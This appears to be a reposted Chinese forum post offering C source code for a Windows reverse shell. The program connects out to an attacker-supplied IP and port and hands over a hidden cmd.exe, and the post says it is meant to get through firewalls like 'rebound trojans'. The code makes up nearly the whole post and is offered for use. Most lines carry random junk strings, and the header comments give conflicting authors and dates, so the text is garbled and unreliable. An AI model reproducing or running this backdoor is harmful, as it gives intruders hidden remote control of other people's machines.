Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 9CWUhS   
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/* ============================== FJ}QKDQW=  
Rebound port in Windows NT ':!;6v|L  
By wind,2006/7 K(plzQ3  
===============================*/ f41!+W=  
#include 00G[`a5  
#include cQv*lvG9>  
`4&\ %9  
#pragma comment(lib,"wsock32.lib") fXw%2wg  
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void OutputShell(); \Rp)n=|  
SOCKET sClient; T[XI

  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 5.|rzk>  
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void main(int argc,char **argv) xL>0&R  
{ i*Y/q-N|  
WSADATA stWsaData; 't{=n[  
int nRet; U&Ay3/  
SOCKADDR_IN stSaiClient,stSaiServer; \+MR`\|3  
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if(argc != 3) 0{PK]qp7  
{ `>8|  
printf("Useage:\n\rRebound DestIP DestPort\n"); n37( sKG  
return; kozg8 `\]  
} X5U!25d]  
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WSAStartup(MAKEWORD(2,2),&stWsaData); nL+*Ja  
}M
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;lA
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stSaiClient.sin_family = AF_INET; fD\h5`-  
stSaiClient.sin_port = htons(0); <$D)uY K  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); FZA8@J|Q4  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) =-`+4zB\  
{ v!F(DP.)Z  
printf("Bind Socket Failed!\n"); 8d)F#  
return; [1nI%/</>  
} fJE k
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stSaiServer.sin_family = AF_INET; iMp)g%Ng  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 2 yP#:T/z  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); \k1Wh-3  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) RV(}\JU  
{ J*U(f{Q(  
printf("Connect Error!");  74Q?%X  
return; :{66WSa@Dd  
} o3WkbMJWM  
OutputShell(); KUyua~tF  
} ~+lC%R  
e-}PJ%!,T  
void OutputShell() N%B#f\N  
{ 8:&@MZQ&!  
char szBuff[1024]; TVFGonVY  
SECURITY_ATTRIBUTES stSecurityAttributes; %okEN!=  
OSVERSIONINFO stOsversionInfo; Pm?6]] 7  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ,+X8?9v  
STARTUPINFO stStartupInfo; 4UL-j  
char *szShell; I$mOy{/#  
PROCESS_INFORMATION stProcessInformation; Ew:JpMR  
unsigned long lBytesRead; AN~1E@"  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); a|7V{pp=M  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ;JmD(T7{  
stSecurityAttributes.lpSecurityDescriptor = 0; huTJ a2  
stSecurityAttributes.bInheritHandle = TRUE; <aHK{*'3  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); @W @L%<  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); g{J3Ba  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); T]vD ,I+  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5%>U.X?i  
stStartupInfo.wShowWindow = SW_HIDE; _>`0!mG  
stStartupInfo.hStdInput = hReadPipe; yQx>h6  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ,!Hl@(  
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GetVersionEx(&stOsversionInfo); 9xKFX|*$  
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switch(stOsversionInfo.dwPlatformId) e.jgV=dT-  
{ MoX*e  
case 1: q
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szShell = "command.com"; p5H Mg\hT  
break; *"4<&F S  
default: Rxli;blzi  
szShell = "cmd.exe"; x9ws@=[:  
break; 0?:ZERv  
} ]t=>#  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); xxiLi46/  
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send(sClient,szMsg,77,0); 3|?fGT;P  
while(1) JIQzP?+?  
{ O:x=yj%^  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 4Ek< 5s[  
if(lBytesRead) YW}/CwB  
{ an7N<-?
 
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); f@}(<#  
send(sClient,szBuff,lBytesRead,0); o+t?OG/0  
} M)xK+f2_[  
else evs2dz<e
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{ -(iJ<  
lBytesRead=recv(sClient,szBuff,1024,0); p>zE/Pw~  
if(lBytesRead<=0) break; p&\uF#I;  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); B 3h<K}  
} m,KY_1%M  
} ;PHnv5 x@f  
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return; -?(RoWv@X&  
}